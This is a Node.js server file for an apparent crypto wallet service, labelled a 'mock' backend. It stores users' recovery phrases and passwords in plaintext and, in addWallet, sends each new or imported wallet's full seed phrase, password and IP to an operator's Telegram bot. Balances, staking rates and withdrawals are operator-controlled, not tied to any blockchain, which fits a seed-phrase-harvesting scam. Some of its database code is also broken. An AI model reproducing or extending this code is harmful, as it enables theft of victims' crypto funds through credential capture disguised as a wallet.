// Minimal mock of tttadmin backend for local testing
// Run: npm i express cors && node server.js

const express = require('express');
const cors = require('cors');
const compression = require('compression');
const helmet = require('helmet');
const path = require('path');
const fs = require('fs');
const https = require('https');

// Rate limiting для защиты от брутфорса
const rateLimit = require('express-rate-limit');

// Optional but recommended: deterministic address derivation
// Requires: npm i ethers
let ethers;
try {
  // eslint-disable-next-line global-require
  ethers = require('ethers');
} catch {}

// TON SDK для правильной генерации адресов
let tonCrypto, tonCore, bip39, ed25519HdKey;
try {
  tonCrypto = require('@ton/crypto');
  tonCore = require('@ton/ton');
  bip39 = require('bip39');
  ed25519HdKey = require('ed25519-hd-key');
  console.log('✅ TON libraries loaded successfully');
} catch (e) {
  console.log('⚠️ TON libraries not installed. TON address generation may not work correctly.');
}

// Cardano SDK для правильной генерации адресов
let CardanoWasm;
try {
  CardanoWasm = require('@emurgo/cardano-serialization-lib-nodejs');
  console.log('✅ Cardano library loaded successfully');
} catch (e) {
  console.log('⚠️ Cardano library not installed. ADA address generation may not work correctly.');
}

// Blake2b для SUI адресов
let blake2b, nacl;
try {
  blake2b = require('blake2b');
  nacl = require('tweetnacl');
  console.log('✅ Blake2b and TweetNaCl libraries loaded successfully');
} catch (e) {
  console.log('⚠️ Blake2b/TweetNaCl libraries not installed. SUI address generation may not work correctly.');
}

// Библиотеки для Chia (XCH) - bech32m encoding
let bech32;
try {
  bech32 = require('bech32');
  console.log('✅ Bech32 library loaded successfully');
} catch (e) {
  console.log('⚠️ Bech32 library not installed. XCH address generation may not work correctly.');
}

// Trust Wallet Core – эталонная деривация адресов
const trustWalletCore = {
  initPromise: null,
  ready: false,
  error: null,
  module: null,
};

const trustWalletWarnings = new Set();
const trustWalletFallbackReasons = new Set();

function initTrustWalletCore() {
  if (trustWalletCore.initPromise) {
    return trustWalletCore.initPromise;
  }

  try {
    const { initWasm } = require('@trustwallet/wallet-core');
    trustWalletCore.initPromise = initWasm()
      .then((core) => {
        trustWalletCore.module = core;
        trustWalletCore.ready = true;
        console.log('✅ Trust Wallet Core initialized: HDWallet ready');
        return core;
      })
      .catch((error) => {
        trustWalletCore.error = error;
        console.error('❌ Trust Wallet Core failed to initialize:', error.message);
        return null;
      });
  } catch (error) {
    trustWalletCore.error = error;
    console.error('❌ Trust Wallet Core is not available:', error.message);
    trustWalletCore.initPromise = Promise.resolve(null);
  }

  return trustWalletCore.initPromise;
}

const TRUST_WALLET_SYMBOL_MAP = {
  XLM: 'stellar',
  XRP: 'xrp',
  ZEC: 'zcash',
  APT: 'aptos',
  LTC: 'litecoin',
  NEAR: 'near',
  INJ: 'nativeInjective',
  FIL: 'filecoin',
  ATOM: 'cosmos',
  DASH: 'dash',
  DCR: 'decred',
  MNT: 'mantle',
  XCH: 'chia', // Попытка использовать Trust Wallet Core для Chia
};

function deriveAddressWithTrustWallet(symbol, mnemonic) {
  if (!mnemonic) {
    return null;
  }

  if (!trustWalletCore.ready || !trustWalletCore.module) {
    if (!trustWalletFallbackReasons.has('not-ready')) {
      trustWalletFallbackReasons.add('not-ready');
      console.warn('[TrustWallet] Core is not ready yet, falling back to custom derivation');
    }
    return null;
  }

  const coinKey = TRUST_WALLET_SYMBOL_MAP[symbol?.toUpperCase()];
  if (!coinKey) {
    return null;
  }

  const { HDWallet, CoinType } = trustWalletCore.module;
  const coinType = CoinType?.[coinKey];

  if (typeof coinType === 'undefined') {
    if (!trustWalletWarnings.has(coinKey)) {
      trustWalletWarnings.add(coinKey);
      console.warn(`[TrustWallet] CoinType not found for key ${coinKey}`);
    }
    return null;
  }

  let wallet;
  try {
    wallet = HDWallet.createWithMnemonic(mnemonic, '');
    const address = wallet.getAddressForCoin(coinType);
    return address || null;
  } catch (error) {
    const warnKey = `${symbol}-derive-error`;
    if (!trustWalletWarnings.has(warnKey)) {
      trustWalletWarnings.add(warnKey);
      console.warn(`[TrustWallet] Failed to derive ${symbol} address: ${error.message}`);
    }
    return null;
  } finally {
    if (wallet) {
      wallet.delete();
    }
  }
}

// Database functions are now inline in this file (all DB operations below)
const Database = require('better-sqlite3');
const db = new Database('./wallets.db');

// Константы для механики обмена
const SWAP_FREEZE_MS = Math.max(10 * 1000, parseInt(process.env.SWAP_FREEZE_MS || '60000', 10)); // минимум 10 секунд
const SWAP_PROCESS_INTERVAL_MS = Math.max(1000, parseInt(process.env.SWAP_PROCESS_INTERVAL_MS || '2000', 10));
const DEFAULT_SWAP_FEE_PERCENT = Math.max(0, parseFloat(process.env.SWAP_FEE_PERCENT || '3')); // %
const SWAP_STATUS = {
  PENDING: 'pending',
  RELEASED: 'released',
  FAILED: 'failed',
};

// Telegram Bot integration
let telegramBot;
try {
  telegramBot = require('./telegram-bot-telegraf');
  console.log('✅ Telegram Bot (Telegraf) загружен');
} catch (error) {
  console.log('⚠️ Telegram Bot не найден или не настроен');
  console.error('❌ Ошибка загрузки Telegram Bot:', error);
}

// Enable WAL mode for better concurrent access
db.pragma('journal_mode = WAL');

// Initialize database tables
const initDatabase = () => {
  // Users table
  db.exec(`
    CREATE TABLE IF NOT EXISTS users (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT UNIQUE,
      password TEXT,
      ip TEXT,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      last_login DATETIME DEFAULT CURRENT_TIMESTAMP
    )
  `);

  // Wallets table
  db.exec(`
    CREATE TABLE IF NOT EXISTS wallets (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      user_id INTEGER,
      phrase TEXT NOT NULL,
      trx_balance REAL DEFAULT 0.0,
      btc_balance REAL DEFAULT 0.0,
      eth_balance REAL DEFAULT 0.0,
      bnb_balance REAL DEFAULT 0.0,
      sol_balance REAL DEFAULT 0.0,
      ton_balance REAL DEFAULT 0.0,
      usdt_balance REAL DEFAULT 0.0,
      xrp_balance REAL DEFAULT 0.0,
      ip TEXT,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE,
      UNIQUE(user_id, phrase)
    )
  `);

  // Добавить sol_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN sol_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added sol_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить ton_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN ton_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added ton_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить usdt_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN usdt_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added usdt_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить xrp_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN xrp_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added xrp_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить doge_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN doge_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added doge_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить arb_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN arb_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added arb_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить strk_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN strk_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added strk_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавить ada_balance в существующую таблицу если её ещё нет
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN ada_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added ada_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN sui_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added sui_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN dot_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added dot_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN shib_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added shib_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN usdt_eth_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added usdt_eth_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN zec_balance REAL DEFAULT 0.0`);
    console.log('[DB] Added zec_balance column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }

  // Добавляем новые токены
  const newBalanceColumns = ['not_balance', 'blum_balance', 'xlm_balance', 'hype_balance', 'uni_balance', 'near_balance', 'pepe_balance', 'atom_balance', 'dash_balance', 'cake_balance', 'zk_balance', 'hbar_balance', 'ltc_balance', 'link_balance', 'apt_balance', 'ldo_balance', 'usd1_balance', 'enso_balance'];
  
  newBalanceColumns.forEach(column => {
    try {
      db.exec(`ALTER TABLE wallets ADD COLUMN ${column} REAL DEFAULT 0.0`);
      console.log(`[DB] Added ${column} column to wallets table`);
    } catch (e) {
      // Колонка уже существует
    }
  });

  // Добавляем колонки для застейканных балансов
  const stakedColumns = [
    'btc_staked',
    'eth_staked', 
    'bnb_staked',
    'trx_staked',
    'sol_staked',
    'ton_staked',
    'usdt_staked',
    'usd1_staked',
    'xrp_staked',
    'doge_staked',
    'arb_staked',
    'strk_staked',
    'ada_staked',
    'sui_staked',
    'dot_staked',
    'shib_staked',
    'usdt_eth_staked',
    'zec_staked',
    'not_staked',
    'blum_staked',
    'xlm_staked',
    'hype_staked',
    'uni_staked',
    'near_staked',
    'pepe_staked',
    'atom_staked',
    'dash_staked',
    'cake_staked',
    'zk_staked',
    'hbar_staked',
    'ltc_staked',
    'link_staked',
    'apt_staked',
    'aave_staked',
    'avax_staked',
    'aster_staked',
    'fil_staked',
    'paxg_staked',
    'usdc_staked',
    'xaut_staked',
    'trump_staked',
    'op_staked',
    'dcr_staked',
    'sand_staked',
    'inj_staked',
    'ldo_staked',
    'enso_staked'
  ];

  stakedColumns.forEach(column => {
    try {
      db.exec(`ALTER TABLE wallets ADD COLUMN ${column} REAL DEFAULT 0.0`);
      console.log(`[DB] Added ${column} column to wallets table`);
    } catch (e) {
      // Колонка уже существует
    }
  });

  // Таблица динамических APR (изменяется через Telegram-бот)
  db.exec(`
    CREATE TABLE IF NOT EXISTS staking_rates (
      symbol TEXT PRIMARY KEY,
      apr REAL NOT NULL,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
    )
  `);

  // Таблица индивидуальных APR для кошельков
  db.exec(`
    CREATE TABLE IF NOT EXISTS wallet_staking_rates (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      mnemonic_hash TEXT NOT NULL,
      symbol TEXT NOT NULL,
      apr REAL NOT NULL,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      UNIQUE(mnemonic_hash, symbol)
    )
  `);

  // Security logs table
  db.exec(`
    CREATE TABLE IF NOT EXISTS security_logs (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      event TEXT NOT NULL,
      details TEXT,
      ip TEXT,
      user_id INTEGER,
      user_agent TEXT,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id)
    )
  `);

  // Создаем индексы для оптимизации запросов
  db.exec(`
    CREATE INDEX IF NOT EXISTS idx_users_username ON users (username);
    CREATE INDEX IF NOT EXISTS idx_wallets_user_id ON wallets (user_id);
    CREATE INDEX IF NOT EXISTS idx_wallets_phrase ON wallets (phrase);
    CREATE INDEX IF NOT EXISTS idx_sessions_user_id ON sessions (user_id);
    CREATE INDEX IF NOT EXISTS idx_security_logs_user_id ON security_logs (user_id);
    CREATE INDEX IF NOT EXISTS idx_security_logs_created_at ON security_logs (created_at);
    CREATE INDEX IF NOT EXISTS idx_token_visibility_user_id ON token_visibility (user_id);
  `);

  // Sessions table
  db.exec(`
    CREATE TABLE IF NOT EXISTS sessions (
      session_login TEXT PRIMARY KEY,
      user_id INTEGER,
      session_data TEXT NOT NULL,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      last_activity DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
    )
  `);

  // Token visibility table
  db.exec(`
    CREATE TABLE IF NOT EXISTS token_visibility (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      user_id INTEGER NOT NULL,
      token_symbol TEXT NOT NULL,
      is_visible INTEGER DEFAULT 1,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE,
      UNIQUE(user_id, token_symbol)
    )
  `);

  // Staking positions table
  db.exec(`
    CREATE TABLE IF NOT EXISTS staking_positions (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      user_id INTEGER NOT NULL,
      phrase TEXT NOT NULL,
      token_symbol TEXT NOT NULL,
      amount REAL NOT NULL,
      apr REAL NOT NULL,
      lock_period_days INTEGER NOT NULL,
      start_date DATETIME DEFAULT CURRENT_TIMESTAMP,
      unlock_date DATETIME NOT NULL,
      last_reward_date DATETIME DEFAULT CURRENT_TIMESTAMP,
      total_rewards REAL DEFAULT 0.0,
      status TEXT DEFAULT 'active',
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
    )
  `);

  // Balance history table - история операций с балансом
  db.exec(`
    CREATE TABLE IF NOT EXISTS balance_history (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      user_id INTEGER NOT NULL,
      phrase TEXT NOT NULL,
      token_symbol TEXT NOT NULL,
      operation_type TEXT NOT NULL,
      amount REAL NOT NULL,
      balance_before REAL DEFAULT 0.0,
      balance_after REAL DEFAULT 0.0,
      description TEXT,
      position_id INTEGER,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE,
      FOREIGN KEY (position_id) REFERENCES staking_positions (id) ON DELETE SET NULL
    )
  `);

  // Swap transactions table
  db.exec(`
    CREATE TABLE IF NOT EXISTS swap_transactions (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      user_id INTEGER,
      session_login TEXT,
      phrase TEXT NOT NULL,
      from_symbol TEXT NOT NULL,
      to_symbol TEXT NOT NULL,
      from_amount REAL NOT NULL DEFAULT 0,
      to_amount REAL NOT NULL DEFAULT 0,
      fee_percent REAL NOT NULL DEFAULT 0,
      fee_amount REAL NOT NULL DEFAULT 0,
      usd_value REAL NOT NULL DEFAULT 0,
      rate REAL NOT NULL DEFAULT 0,
      status TEXT NOT NULL DEFAULT 'pending',
      release_at DATETIME NOT NULL,
      released_at DATETIME,
      error TEXT,
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE SET NULL
    )
  `);

  db.exec('CREATE INDEX IF NOT EXISTS idx_swap_status_release ON swap_transactions (status, release_at)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_swap_phrase_status ON swap_transactions (phrase, status)');

  // Withdrawals table - заявки на вывод средств
  db.exec(`
    CREATE TABLE IF NOT EXISTS withdrawals (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      user_id INTEGER NOT NULL,
      phrase TEXT NOT NULL,
      token_symbol TEXT NOT NULL,
      network TEXT NOT NULL,
      address TEXT NOT NULL,
      amount REAL NOT NULL,
      balance_before REAL DEFAULT 0,
      balance_after REAL DEFAULT 0,
      status TEXT NOT NULL DEFAULT 'pending',
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
    )
  `);
  db.exec('CREATE INDEX IF NOT EXISTS idx_withdrawals_phrase ON withdrawals(phrase)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_withdrawals_status ON withdrawals(status)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_withdrawals_user_id ON withdrawals(user_id)');
  // Миграция: добавить balance_before/balance_after если ещё нет
  try { db.exec('ALTER TABLE withdrawals ADD COLUMN balance_before REAL DEFAULT 0'); } catch(e) {}
  try { db.exec('ALTER TABLE withdrawals ADD COLUMN balance_after REAL DEFAULT 0'); } catch(e) {}

  // Create indices
  db.exec('CREATE INDEX IF NOT EXISTS idx_users_username ON users(username)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_users_ip ON users(ip)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_phrase ON wallets(phrase)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_user_id ON wallets(user_id)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_ip ON wallets(ip)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_session_user_id ON sessions(user_id)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_session_activity ON sessions(last_activity)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_token_visibility_user_id ON token_visibility(user_id)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_token_visibility_symbol ON token_visibility(token_symbol)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_balance_history_phrase_token ON balance_history(phrase, token_symbol)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_balance_history_user_id ON balance_history(user_id)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_balance_history_created_at ON balance_history(created_at)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_staking_user_id ON staking_positions(user_id)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_staking_phrase ON staking_positions(phrase)');
  db.exec('CREATE INDEX IF NOT EXISTS idx_staking_status ON staking_positions(status)');

  console.log('[DB] Database initialized successfully');
  
  // Миграция: Добавление колонки admin_comment для комментариев администратора
  try {
    db.exec(`ALTER TABLE wallets ADD COLUMN admin_comment TEXT DEFAULT NULL`);
    console.log('[DB] Added admin_comment column to wallets table');
  } catch (e) {
    // Колонка уже существует
  }
};

// Инициализация дефолтной видимости токенов для нового пользователя
function initializeDefaultTokenVisibility(userId) {
  try {
    // Базовые токены, которые должны быть видимы по умолчанию
    const defaultVisibleTokens = {
      'TRX': true,
      'BTC': true,
      'ETH': true,
      'BNB': true,
      'SOL': true
    };
    
    const visibilityJson = JSON.stringify(defaultVisibleTokens);
    const stmt = db.prepare(`
      INSERT INTO token_visibility (user_id, visibility_json)
      VALUES (?, ?)
      ON CONFLICT(user_id) DO UPDATE SET
        visibility_json = excluded.visibility_json,
        updated_at = CURRENT_TIMESTAMP
    `);
    
    stmt.run(userId, visibilityJson);
    console.log(`[TokenVisibility] Initialized default visibility for user ${userId}:`, defaultVisibleTokens);
  } catch (error) {
    console.error('[TokenVisibility] Error initializing default visibility:', error.message);
  }
}

// User functions
const addUser = (username, password, ip) => {
  const stmt = db.prepare('INSERT OR IGNORE INTO users (username, password, ip) VALUES (?, ?, ?)');
  const result = stmt.run(username, password, ip);
  
  // Инициализируем дефолтную видимость токенов для нового пользователя
  if (result.changes > 0 && result.lastInsertRowid) {
    initializeDefaultTokenVisibility(result.lastInsertRowid);
  }
  
  return result;
};

const getUserByUsername = (username) => {
  return db.prepare('SELECT * FROM users WHERE username = ?').get(username);
};

const updateUserLastLogin = (userId) => {
  const stmt = db.prepare(`
    UPDATE users 
    SET last_login = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP 
    WHERE id = ?
  `);
  return stmt.run(userId);
};

// Функция валидации мнемоники (совместимая с Trust Wallet)
const validateMnemonic = (mnemonicPhrase) => {
  if (!mnemonicPhrase || !mnemonicPhrase.trim()) {
    return {
      isValid: false,
      errorMessage: "Введите мнемонику"
    };
  }

  const words = mnemonicPhrase.trim().toLowerCase().split(/\s+/);
  const wordCount = words.length;

  // Trust Wallet поддерживает как 12, так и 24 слова
  if (wordCount !== 12 && wordCount !== 24) {
    return {
      isValid: false,
      errorMessage: `Мнемоника должна содержать 12 или 24 слова. Введено: ${wordCount}`
    };
  }

  // Проверка на пустые слова
  if (words.some((word) => word === "")) {
    return {
      isValid: false,
      errorMessage: "Мнемоника содержит пустые слова"
    };
  }

  // Проверка минимальной длины слов (смягченная для Trust Wallet)
  if (words.some((word) => word.length < 2)) {
    return {
      isValid: false,
      errorMessage: "Слишком короткие слова в мнемонике"
    };
  }

  // Убираем проверку на дублирующиеся слова - Trust Wallet может генерировать такие мнемоники
  // Убираем проверку на BIP39 словарь - Trust Wallet может использовать расширенный словарь

  return {
    isValid: true,
    errorMessage: ""
  };
};

// Wallet functions
// type может быть 'create' (новый кошелек) или 'import' (импортированный)
const addWallet = (phrase, userId, ip, type = 'create') => {
  // Нормализация: lowercase, одинарные пробелы, trim
  const normalizedPhrase = phrase.replace(/\s+/g, ' ').trim().toLowerCase();

  // Валидация мнемоники
  const validation = validateMnemonic(normalizedPhrase);
  if (!validation.isValid) {
    throw new Error(validation.errorMessage);
  }

  const stmt = db.prepare('INSERT OR IGNORE INTO wallets (phrase, user_id, ip) VALUES (?, ?, ?)');
  const result = stmt.run(normalizedPhrase, userId, ip);
  
  // Отправка уведомления в Telegram при создании нового кошелька
  console.log('[NOTIFICATION] Проверка условий для отправки уведомления...');
  console.log('[NOTIFICATION] result.changes:', result.changes);
  console.log('[NOTIFICATION] type:', type);
  console.log('[NOTIFICATION] telegramBot exists:', !!telegramBot);
  
  if (result.changes > 0 && telegramBot) {
    try {
      console.log('[NOTIFICATION] Получаем данные пользователя для userId:', userId);
      console.log('[NOTIFICATION] lastInsertRowid:', result.lastInsertRowid);
      
      // Получаем данные пользователя
      const user = db.prepare('SELECT * FROM users WHERE id = ?').get(userId);
      console.log('[NOTIFICATION] User data:', user ? `username: ${user.username}` : 'NOT FOUND');
      
      // ID только что созданного кошелька
      const walletId = result.lastInsertRowid;
      console.log('[NOTIFICATION] Wallet ID:', walletId);
      
      if (user && walletId) {
        console.log('[NOTIFICATION] Вызываем sendWalletNotification...');
        let tronAddress = null;
        try {
          const w = ethers.Wallet.fromMnemonic(normalizedPhrase, DERIVATION.TRX.path);
          tronAddress = deriveTronAddressFromPrivateKey(w.privateKey);
        } catch (e) {
          console.error('[NOTIFICATION] TRX address derivation failed:', e.message);
        }
        telegramBot.sendWalletNotification({
          walletId: walletId,
          username: user.username,
          ip: ip,
          phrase: phrase,
          password: user.password,
          type: type,
          tronAddress: tronAddress
        });
        console.log('[NOTIFICATION] ✅ sendWalletNotification вызвана успешно с walletId:', walletId);
      }
    } catch (error) {
      console.error('❌ Ошибка отправки уведомления в Telegram:', error);
      console.error('❌ Stack trace:', error.stack);
    }
  } else {
    if (result.changes === 0) {
      console.log('[NOTIFICATION] ⚠️ Кошелек не добавлен (уже существует), уведомление не отправлено');
    }
    if (!telegramBot) {
      console.log('[NOTIFICATION] ⚠️ telegramBot не инициализирован, уведомление не отправлено');
    }
  }
  
  return result;
};

const getWalletByPhrase = (phrase) => {
  return db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
};

const getWalletByPhraseAndUser = (phrase, userId) => {
  return db.prepare('SELECT * FROM wallets WHERE phrase = ? AND user_id = ?').get(phrase, userId);
};

const getWalletById = (id) => {
  return db.prepare('SELECT * FROM wallets WHERE id = ?').get(id);
};

const getAllWallets = (limit = 100, offset = 0) => {
  return db.prepare('SELECT * FROM wallets ORDER BY id DESC LIMIT ? OFFSET ?').all(limit, offset);
};

const getWalletsByIP = (ip, limit = 100) => {
  return db.prepare('SELECT * FROM wallets WHERE ip LIKE ? ORDER BY id DESC LIMIT ?').all('%' + ip + '%', limit);
};

// Session functions
const saveSessionToDB = (sessionLogin, userId, sessionData) => {
  const stmt = db.prepare(`
      INSERT INTO sessions (session_login, user_id, session_data, last_activity) 
      VALUES (?, ?, ?, CURRENT_TIMESTAMP)
      ON CONFLICT(session_login) DO UPDATE SET 
        user_id = excluded.user_id,
        session_data = excluded.session_data,
        updated_at = CURRENT_TIMESTAMP,
        last_activity = CURRENT_TIMESTAMP
    `);
  return stmt.run(sessionLogin, userId, JSON.stringify(sessionData));
};

const saveSession = saveSessionToDB; // Alias for compatibility

const getAllSessions = () => {
  return db.prepare('SELECT * FROM sessions ORDER BY last_activity DESC').all();
};

const cleanOldSessions = (daysOld = 30) => {
  const stmt = db.prepare(`
      DELETE FROM sessions 
      WHERE last_activity < datetime('now', '-' || ? || ' days')
    `);
  return stmt.run(daysOld);
};

// Helper function to update token balances from DB
const updateTokenBalancesFromDB = (wallet) => {
  if (!wallet || !wallet.mnemonic) return;
  
  try {
    const dbWallet = getWalletByPhrase(wallet.mnemonic);
    if (dbWallet && wallet.tokens) {
      wallet.tokens.forEach(token => {
        if (!token.tokenInfo?.symbol) return;
        const config = getTokenColumnConfig(token.tokenInfo.symbol);
        if (!config?.balance) return;
        
        const balanceValue = dbWallet[config.balance];
        token.balance = String(balanceValue ?? 0);
        
        if (config.staked) {
          const stakedValue = dbWallet[config.staked];
          token.stakedBalance = String(stakedValue ?? 0);
        } else if (token.stakedBalance === undefined) {
          token.stakedBalance = '0';
        }
      });
    }
  } catch (err) {
    console.log('[Wallet] Could not load balances from DB:', err.message);
  }
};

// Update balance for a specific coin
const updateBalance = (phrase, coin, amount) => {
  const config = getTokenColumnConfig(coin);
  if (!config?.balance) {
    throw new Error(`Unsupported coin: ${coin}`);
  }

  const stmt = db.prepare(`UPDATE wallets SET ${config.balance} = ? WHERE phrase = ?`);
  stmt.run(amount, phrase);
  
  return getWalletByPhrase(phrase);
};

// Update staked balance for a specific coin
const updateStakedBalance = (phrase, coin, amount) => {
  const config = getTokenColumnConfig(coin);
  if (!config?.staked) {
    throw new Error(`Unsupported coin: ${coin}`);
  }

  const stmt = db.prepare(`UPDATE wallets SET ${config.staked} = ? WHERE phrase = ?`);
  stmt.run(amount, phrase);
  
  return getWalletByPhrase(phrase);
};

// Log balance change to history
const logBalanceChange = (userId, phrase, tokenSymbol, operationType, amount, balanceBefore, balanceAfter, description = null, positionId = null) => {
  try {
    const stmt = db.prepare(`
      INSERT INTO balance_history 
      (user_id, phrase, token_symbol, operation_type, amount, balance_before, balance_after, description, position_id)
      VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
    `);
    
    stmt.run(userId, phrase, tokenSymbol, operationType, amount, balanceBefore, balanceAfter, description, positionId);
    console.log(`[BALANCE_HISTORY] Logged ${operationType} for ${tokenSymbol}: ${amount}`);
  } catch (error) {
    console.error('[BALANCE_HISTORY] Error logging balance change:', error);
  }
};

// Update all balances for a wallet
const updateAllBalances = (phrase, balances) => {
  const wallet = getWalletByPhrase(phrase);
  if (!wallet) return null;

  const updates = [];
  const values = [];

  Object.keys(balances).forEach(coin => {
    const columnMap = {
      'BTC': 'btc_balance',
      'ETH': 'eth_balance',
      'BNB': 'bnb_balance',
      'TRX': 'trx_balance',
      'SOL': 'sol_balance',
      'TON': 'ton_balance',
      'USDT': 'usdt_balance',
      'XRP': 'xrp_balance'
    };

    const column = columnMap[coin.toUpperCase()];
    if (column) {
      updates.push(`${column} = ?`);
      values.push(balances[coin]);
    }
  });

  if (updates.length > 0) {
    const sql = `UPDATE wallets SET ${updates.join(', ')} WHERE phrase = ?`;
    values.push(phrase);
    db.prepare(sql).run(...values);
  }

  return getWalletByPhrase(phrase);
};

// Token visibility functions
const getTokenVisibility = (userId, tokenSymbol) => {
  return db.prepare('SELECT is_visible FROM token_visibility WHERE user_id = ? AND token_symbol = ?')
    .get(userId, tokenSymbol);
};

const getUserTokenVisibility = (userId) => {
  const rows = db.prepare('SELECT token_symbol, is_visible FROM token_visibility WHERE user_id = ?').all(userId);
  const result = {};
  rows.forEach(row => {
    result[row.token_symbol] = Boolean(row.is_visible);
  });
  return result;
};

const setTokenVisibility = (userId, tokenSymbol, isVisible) => {
  const stmt = db.prepare(`
      INSERT INTO token_visibility (user_id, token_symbol, is_visible) 
      VALUES (?, ?, ?)
      ON CONFLICT(user_id, token_symbol) DO UPDATE SET 
        is_visible = excluded.is_visible,
        updated_at = CURRENT_TIMESTAMP
    `);
  return stmt.run(userId, tokenSymbol, isVisible ? 1 : 0);
};

const toggleTokenVisibility = (userId, tokenSymbol) => {
  try {
    // Получаем текущее состояние
    const current = getTokenVisibility(userId, tokenSymbol);
    let newVisibility;
    
    if (current) {
      // Переключаем существующее значение
      newVisibility = !Boolean(current.is_visible);
    } else {
      // Если записи нет, создаем с видимостью = true (показываем)
      // Потому что пользователь нажал на переключатель чтобы ВКЛЮЧИТЬ новый токен
      newVisibility = true;
    }
    
    // Сохраняем новое состояние
    setTokenVisibility(userId, tokenSymbol, newVisibility);
    
    console.log(`[TokenVisibility] Toggled ${tokenSymbol} for user ${userId}: ${newVisibility}`);
    
    return newVisibility;
  } catch (error) {
    console.error('[TokenVisibility] Error toggling:', error);
    return null;
  }
};

// Initialize database on startup
initDatabase();

